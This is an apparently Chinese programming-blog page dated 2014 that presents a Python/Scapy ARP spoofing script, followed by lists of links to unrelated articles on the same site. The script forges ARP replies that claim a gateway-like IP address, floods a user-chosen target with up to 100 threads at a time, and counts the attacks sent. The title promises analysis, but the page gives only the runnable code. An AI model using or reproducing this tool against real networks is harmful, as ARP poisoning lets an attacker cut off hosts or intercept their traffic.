python发送arp欺骗攻击代码分析


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount
BROADCASTMAC = getmacbyip('192.168.0.120')
class Loop(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        global BROADCASTMAC
        arp = ARP()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = BROADCASTMAC
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)
class Main(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        limit = 100
        total = 0
        while True:
            if activeCount() < limit:
                Loop(self.ip).start()
                total = total + 1
            print '目前已进行了ARP攻击的次数为:'+str(total)
if __name__ == '__main__':
    ip = raw_input('请输入要进行ARP攻击的机器IP:')
    Main(ip = ip).start()
Python 相关文章推荐
Python Web服务器Tornado使用小结
May 06 Python
零基础写python爬虫之爬虫框架Scrapy安装配置
Nov 06 Python
使用anaconda的pip安装第三方python包的操作步骤
Jun 11 Python
Python使用pymongo模块操作MongoDB的方法示例
Jul 20 Python
使用python将mysql数据库的数据转换为json数据的方法
Jul 01 Python
Python 仅获取响应头, 不获取实体的实例
Aug 21 Python
python tkinter组件使用详解
Sep 16 Python
基于keras输出中间层结果的2种实现方式
Jan 24 Python
Python 窗体(tkinter)下拉列表框(Combobox)实例
Mar 04 Python
vue常用指令代码实例总结
Mar 16 Python
Django 解决由save方法引发的错误
May 21 Python
利用Opencv实现图片的油画特效实例
Feb 28 Python
分析python服务器拒绝服务攻击代码
Jan 16 #Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
You might like
php session 预定义数组
2009/03/16 PHP
用PHP实现的四则运算表达式计算实现代码
2011/08/02 PHP
PHP+Ajax验证码验证用户登录
2016/07/20 PHP
PHP使用XMLWriter读写xml文件操作详解
2018/07/31 PHP
CI框架实现创建自定义类库的方法
2018/12/25 PHP
PHP使用反向Ajax技术实现在线客服系统详解
2019/07/01 PHP
Alliance vs Liquid BO3 第一场2.13
2021/03/10 DOTA
ANT 压缩(去掉空格/注释)JS文件可提高js运行速度
2013/04/15 Javascript
JavaScript实现网页上的浮动广告的简单方法
2013/06/14 Javascript
非常漂亮的JS+CSS图片幻灯切换特效
2013/11/20 Javascript
关于jQuery判断元素是否存在的问题示例探讨
2014/07/21 Javascript
jQuery实现进度条效果代码
2015/12/17 Javascript
JavaScript中apply方法的应用技巧小结
2016/09/29 Javascript
nodejs个人博客开发第一步 准备工作
2017/04/12 NodeJs
webpack多入口文件页面打包配置详解
2018/01/09 Javascript
巧妙运用v-model实现父子组件传值的方法示例
2019/04/07 Javascript
vue 使用插槽分发内容操作示例【单个插槽、具名插槽、作用域插槽】
2020/03/06 Javascript
vue 子组件和父组件传值的示例
2020/09/11 Javascript
JavaScript实现简易计算器小功能
2020/10/22 Javascript
Mac下Supervisor进程监控管理工具的安装与配置
2014/12/16 Python
Python 专题三 字符串的基础知识
2017/03/19 Python
python实现机械分词之逆向最大匹配算法代码示例
2017/12/13 Python
python实现字典嵌套列表取值
2019/12/16 Python
Python 内置变量和函数的查看及说明介绍
2019/12/25 Python
Python进程Multiprocessing模块原理解析
2020/02/28 Python
Python通过字典映射函数实现switch
2020/11/06 Python
Django中日期时间型字段进行年月日时分秒分组统计
2020/11/27 Python
家得宝加拿大家装网上商店:The Home Depot加拿大
2016/08/27 全球购物
毕业求职自荐信格式是什么
2013/11/19 职场文书
爷爷追悼会答谢词
2014/01/24 职场文书
关于安全的标语
2014/06/10 职场文书
高中教师个人工作总结
2015/02/10 职场文书
2015年医院护理部工作总结
2015/04/23 职场文书
2015年电信员工工作总结
2015/05/26 职场文书
学习商务礼仪心得体会
2016/01/22 职场文书
《自己的花是让别人看的》教学反思
2016/02/19 职场文书